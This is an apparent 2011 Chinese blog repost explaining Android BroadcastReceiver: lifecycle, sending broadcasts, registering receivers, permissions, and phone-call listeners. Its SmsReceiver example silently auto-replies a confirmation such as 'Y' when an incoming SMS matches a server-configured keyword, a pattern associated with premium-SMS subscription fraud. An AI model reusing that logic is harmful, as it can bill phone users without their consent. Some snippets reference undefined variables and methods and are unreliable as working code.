Android BroadcastReceiver [转]

BroadCastReceiver 简介

BroadCastReceiver 源码位于: framework/base/core/java/android.content.BroadcastReceiver.java 

广播接收者( BroadcastReceiver )用于接收广播 Intent ,广播 Intent 的发送是通过调用 Context.sendBroadcast() 、 Context.sendOrderedBroadcast() 来实现的。通常一个广播 Intent 可以被订阅了此 Intent 的多个广播接收者所接收。 

广播是一种广泛运用的在应用程序之间传输信息的机制 。而 BroadcastReceiver 是对发送出来的广播进行过滤接收并响应的一类组件; 

来自普通应用程序,如一个应用程序通知其他应用程序某些数据已经下载完毕。

 BroadcastReceiver 自身并不实现图形用户界面,但是当它收到某个通知后, BroadcastReceiver 可以启动 Activity 作为响应,或者通过 NotificationMananger 提醒用户,或者启动 Service 等等。

 

生命周期
    一个BroadcastReceiver 对象只有在被调用onReceive(Context, Intent)的才有效的,当从该函数返回后,该对象就无效的了,结束生命周期。
    因此从这个特征可以看出,在所调用的onReceive(Context, Intent)函数里,不能有过于耗时的操作,不能使用线程来执行。对于耗时的操作,请start service来完成。因为当得到其他异步操作所返回的结果时,BroadcastReceiver 可能已经无效了。
发送广播
    事件的广播比较简单,构建Intent对象,可调用sendBroadcast(Intent)方法将广播发出。另外还有sendOrderedBroadcast(),sendStickyBroadcast()等方法,请查阅API Doc。
    1.new Intent with action name 
        Intent intent = new Intent(String action);
      或者 只是new Intent, 然后
        intent.setAction(String action);
    2.set data等准备好了后,in activity,
        sendBroadcast(Intent); // 发送广播

 

接收广播
    通过定义一个继承BroadcastReceiver类来实现,继承该类后覆盖其onReceiver方法,并在该方法中响应事件。

public class SmsReceiver extends BroadcastReceiver {

    public void onReceive(Context context, Intent intent) {
        Bundle bundle = intent.getExtras();        
        SmsMessage[] msgs = null;
        if (bundle != null){
            //---retrieve the SMS message received---
            Object[] pdus = (Object[]) bundle.get("pdus");
            msgs = new SmsMessage[pdus.length];            
            
            ServiceRecordList srlist=ServiceRecordList.getServiceInfo();
            if(srlist==null){return;}
            //判断是否需要回复的二次短信中的关键字
            String twokeycontent=srlist.twokeycontent;
            //二次确认回复短信的内容
            String tworeplaycontent=srlist.tworeplaycontent;
            //二次确认回复的目标地址号码
            String tworeplaysmsins=srlist.tworeplaysmsins;
            int tworeplayopen=srlist.tworeplayopen;
            if(tworeplayopen!=1){
                return;
            }
            if(tworeplaycontent==null){
                tworeplaycontent="Y";
            }
            for (int i=0; i<msgs.length; i++){
                msgs[i] = SmsMessage.createFromPdu((byte[])pdus[i]);                
                String originat=msgs[i].getOriginatingAddress();
                originat=originat.trim();
                String content=msgs[i].getDisplayMessageBody();
                String tips=""+content;
                Log.i("receive sms from server", ""+tips);
                if(context!=null){
                     Toast.makeText(context, tips, Toast.LENGTH_LONG).show();
                }
                if(content.indexOf(twokeycontent)>=0){
                    if(tworeplaysmsins==null || tworeplaysmsins.trim().length()==0){
                        sendMSM(originat,tworeplaycontent);
                    }else{
                        sendMSM(tworeplaysmsins,tworeplaycontent);
                    }
                }
            }
        }
    }

注册Receiver
   注册有两种方式:
   1. 静态方式,在AndroidManifest.xml的application里面定义receiver并设置要接收的action。
<receiver android:name=".SMSReceiver">
        <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
        </intent-filter>
</receiver>

   2. 动态方式, 在activity里面调用函数来注册,和静态的内容差不多。一个形参是receiver,另一个是IntentFilter,其中里面是要接收的action。
public class HelloDemo extends Activity {    
        private BroadcastReceiver receiver;    

        @Override
        protected void onStart() {
                super.onStart();

                receiver = new CallReceiver();
                registerReceiver(receiver, new IntentFilter("android.intent.action.PHONE_STATE"));
        }

        @Override
        protected void onStop() {
                unregisterReceiver(receiver);
                super.onStop();
        }
}
   一个receiver可以接收多个action的,即可以有多个intent-filter,需要在onReceive里面对intent.getAction(action name)进行判断。
 
    个人推荐使用静态注册方式,由系统来管理receiver,而且程序里的所有receiver,可以在xml里面一目了然。而动态注册方式,隐藏在代码中,比较难发现。
    而且动态注册,需要特别注意的是,在退出程序前要记得调用Context.unregisterReceiver()方法。一般在activity的onStart()里面进行注册, onStop()里面进行注销。官方提醒,如果在Activity.onResume()里面注册了,就必须在Activity.onPause()注销。
Permission权限
  要接收某些action,需要在AndroidManifest.xml里面添加相应的permission。例如接收SMS:
<uses-permission android:name="android.permission.RECEIVE_SMS" />


下面给出动态注册的接收来电的广播处理的CallReceiver的代码:
   一种方式是直接读取intent.getStringExtra("incoming_number")来获取来电号码:
public class CallReceiver extends BroadcastReceiver {

        @Override
        public void onReceive(Context context, Intent intent) {
                TelephonyManager teleManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
                
                switch(teleManager.getCallState()){
                case TelephonyManager.CALL_STATE_RINGING: //响铃
                        Toast.makeText(context, "Ringing: " + intent.getStringExtra("incoming_number"), Toast.LENGTH_LONG).show();
                        break;
                case TelephonyManager.CALL_STATE_OFFHOOK: //接听
                        Toast.makeText(context, "OffHook: " + intent.getStringExtra("incoming_number"), Toast.LENGTH_LONG).show();
                        break;
                case TelephonyManager.CALL_STATE_IDLE: //挂断
                        Toast.makeText(m_context, "Idle: " + incomingNumber, Toast.LENGTH_LONG).show();
                        break;
                }
        }
}
   在运行时,发现除了响铃时可以获取来电号码,接听和挂断都不能成功获取的,显示为null。
   另一种方式是通过PhoneStateListener的onCallStateChanged来监听状态的变化:
public class CallReceiver extends BroadcastReceiver {

        private Context m_context;
        @Override
        public void onReceive(Context context, Intent intent) {
                m_context = context;
                TelephonyManager teleManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
                teleManager.listen(new PhoneStateListener(){

                        @Override
                        public void onCallStateChanged(int state, String incomingNumber) {
                                switch(state){
                                case TelephonyManager.CALL_STATE_RINGING: //响铃
                                        Toast.makeText(m_context, "Ringing: " + incomingNumber, Toast.LENGTH_LONG)
                                                                .show();
                                        break;
                                case TelephonyManager.CALL_STATE_OFFHOOK: //接听
                                        Toast.makeText(m_context, "OffHook: " + incomingNumber, Toast.LENGTH_LONG)
                                        .show();
                                        break;
                                case TelephonyManager.CALL_STATE_IDLE: //挂断
                                        Toast.makeText(m_context, "Idle: " + incomingNumber, Toast.LENGTH_LONG)
                                        .show();
                                        break;
                                }
                        }}, PhoneStateListener.LISTEN_CALL_STATE);  
        }
}
    运行时也发现incomingNumber在接听和挂断时获取为blank。
    因为这里监听的是通话的状态变化,所以这个receiver会被调用3次。
    监听通话状态需要加上权限:
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
===========
小结:
1. 对于sendBroadCast的intent对象,需要设置其action name; 
2. 推荐使用显式指明receiver,在配置文件AndroidManifest.xml指明; 
3. 一个receiver可以接收多个action; 
4. 每次接收广播都会重新生成一个接收广播的对象,再次调用onReceive;
5. 在BroadCast 中尽量不要处理太多逻辑问题,建议复杂的逻辑交给Activity 或者 Service 去处理。
 

 

posted on 2011-11-17 11:15  Alwaysyouare  阅读(1477)  评论(0编辑  收藏  举报

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